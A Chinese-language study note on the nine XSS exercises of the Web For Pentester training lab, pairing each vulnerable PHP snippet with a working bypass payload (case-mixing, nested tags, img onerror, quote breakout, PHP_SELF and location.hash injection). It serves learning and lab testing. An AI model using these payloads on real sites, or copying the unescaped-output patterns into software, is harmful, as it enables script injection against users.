Web For Pentester 学习笔记 - XSS篇
XSS学习还是比较抽象,主要最近授权测的某基金里OA的XSS真的实在是太多了,感觉都可以做一个大合集了,加上最近看到大佬的博客,所以这里我也写一个简单的小靶场手册,顺带着也帮助自己把所有XSS的方式给温习一遍。
Example1:(简单无过滤)
<?php echo $_GET["name"]; ?>
页面没有过滤任何参数,想传啥就传啥,可以直接传参
example1.php?name=<script>alert(/xss/)</script>
Example2:(简单参数屏蔽)
<?php $name = $_GET["name"]; $name = preg_replace("/<script>/","", $name); $name = preg_replace("/<\/script>/","", $name); echo $name; ?>
对于<script>,</script>两个参数进行了屏蔽,但是没有做大小写限制,因此可以直接通过大小写的方式绕过
example2.php?name=<sCriPt>alert(/xss/)</sCriPt>
Example3:(大小写参数屏蔽)
<?php $name = $_GET["name"]; $name = preg_replace("/<script>/i","", $name); $name = preg_replace("/<\/script>/i","", $name); echo $name; ?>
/i 代表着无视大小写,因此我们需要使用其他方式,常用的img方式或者使用标签<a>或者svg方式测试,或者使用双script方式绕过(写到example4的时候才发现example3应该检测的是双sciprt绕过orz,这里补一下)
example3.php?name=<img src=“x” onerror=alert(/hellworld/)>
或者
example3.php?name=<S<script>cript>alert(/hellworld/)</S</script>cript>
Example4:(Script屏蔽)
if (preg_match('/script/i', $_GET["name"]))
{ die("error"); }
这时候就不能出现任何script语句,因此使用上述example3上的例子:使用img方式弹出
example4.php?name=<img src=“x” onerror=alert(/hellworld/)>
Example5:(alert屏蔽)
if (preg_match('/alert/i', $_GET["name"])) { die("error"); }
例子5出现了对任意大小写alert的限制,因此需要使用其他方式,这里使用prompt或者confirm来弹窗
example5.php?name=<script>confirm('XSS')</script> example5.php?name=<script>prompt('XSS')</script>
Example6:(闭合双引号绕过)
<script> var $a= "<?php echo $_GET["name"]; ?>"; 需要注意这个引号,我们需要在在输入中将它闭合 </script>
直接在js语句中GET["name"] 这样子是有巨大风险的,可以直接输入命令绕过
example6.php?name=";alert(/xss/);"
Example7:(单引号绕过)
<script> var $a= '<?php echo htmlentities($_GET["name"]); ?>'; </script>
首先,htmlentities() 函数是把字符转换为 HTML 实体,因此可以使用单引号绕过’
example7.php?name=';alert(/xss/);'
Example8:(PHP_SELF)
<?php require_once '../header.php'; if (isset($_POST["name"])) { echo "HELLO ".htmlentities($_POST["name"]); } ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> Your name:<input type="text" name="name" /> <input type="submit" name="submit"/>
这段代码 一种是通过post方式输入,然后通过htmlentities实体化,这种方式单引号绕过便会失效
但是后面还有一段 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
我们可以想办法,把" method="POST">这个给注释掉,然后这样子的话在from里面就可以执行xss
因此执行
example8.php/"><script>alert('XSS')</script>//
Example9:(location.hash)
<?php require_once '../header.php'; ?> <script> document.write(location.hash.substring(1)); </script> <?php require_once '../footer.php'; ?>
首先依旧在script内,且执行了location.hash.substring(1)
查阅相关资料可知:hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)
因此可构建payload
example9.php#<script>alert('XSS')</script>
后面查阅资料发现只有IE才能弹出,无奈macos只有chorme和firefox无法测试orz
XSS篇到此结束
参考文档:
国光大佬的学习记录:https://www.sqlsec.com/2020/05/pentesterlab.html
W3school:https://www.w3school.com.cn/jsref/prop_loc_hash.asp
CTF中PHP知识汇总:https://www.restran.net/2016/09/26/php-security-notes/